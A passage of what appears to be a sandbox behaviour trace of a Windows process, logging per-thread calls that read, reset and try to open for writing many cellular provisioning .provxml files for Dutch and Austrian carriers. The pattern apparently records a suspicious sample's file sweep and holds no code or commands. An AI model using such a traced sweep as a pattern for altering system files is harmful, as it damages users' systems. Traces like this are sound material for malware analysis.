(normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml")) returned 0x20 [0179.383] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.383] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.383] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041bd0) returned 1 [0179.383] RtlExitUserThread (Status=0x0) Thread: id = 2851 os_tid = 0xa04 [0179.263] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml")) returned 0x20 [0179.382] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.382] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.382] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30423e0) returned 1 [0179.382] RtlExitUserThread (Status=0x0) Thread: id = 2852 os_tid = 0x8c0 [0179.263] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml")) returned 0x20 [0179.380] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.381] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.381] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.381] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041a78) returned 1 [0179.381] RtlExitUserThread (Status=0x0) Thread: id = 2853 os_tid = 0x674 [0179.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml")) returned 0x20 [0179.379] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.379] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.379] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042ff8) returned 1 [0179.379] RtlExitUserThread (Status=0x0) Thread: id = 2854 os_tid = 0x59c [0179.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml")) returned 0x20 [0179.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\287__connections_cellular_kpn-hi (netherlands)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.378] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043400) returned 1 [0179.378] RtlExitUserThread (Status=0x0) Thread: id = 2855 os_tid = 0xaf0 [0179.265] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml")) returned 0x20 [0179.376] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.376] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\288__connections_cellular_kpn-hi (netherlands)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.377] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042288) returned 1 [0179.377] RtlExitUserThread (Status=0x0) Thread: id = 2856 os_tid = 0xb4c [0179.265] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml")) returned 0x20 [0179.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.375] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30432a8) returned 1 [0179.375] RtlExitUserThread (Status=0x0) Thread: id = 2857 os_tid = 0xcb0 [0179.266] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.359] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.359] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.359] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041d28) returned 1 [0179.359] RtlExitUserThread (Status=0x0) Thread: id = 2858 os_tid = 0x534 [0179.266] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml")) returned 0x20 [0179.358] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.358] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.358] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041e80) returned 1 [0179.358] RtlExitUserThread (Status=0x0) Thread: id = 2859 os_tid = 0x540 [0179.267] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml")) returned 0x20 [0179.357] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.357] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.357] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042538) returned 1 [0179.357] RtlExitUserThread (Status=0x0) Thread: id = 2860 os_tid = 0xe68 [0179.267] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.355] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.356] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.356] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30427e8) returned 1 [0179.356] RtlExitUserThread (Status=0x0) Thread: id = 2861 os_tid = 0xdfc [0179.268] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042940) returned 1 [0179.374] RtlExitUserThread (Status=0x0) Thread: id = 2862 os_tid = 0xe04 [0179.268] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.373] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30436b0) returned 1 [0179.373] RtlExitUserThread (Status=0x0) Thread: id = 2863 os_tid = 0xe08 [0179.269] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.371] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.372] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.372] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043558) returned 1 [0179.372] RtlExitUserThread (Status=0x0) Thread: id = 2864 os_tid = 0xe0c [0179.269] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml")) returned 0x20 [0179.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.370] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c50) returned 1 [0179.371] RtlExitUserThread (Status=0x0) Thread: id = 2865 os_tid = 0xe10 [0179.270] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.369] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.369] CreateFileW (lpFileName="C:\\Users\\All 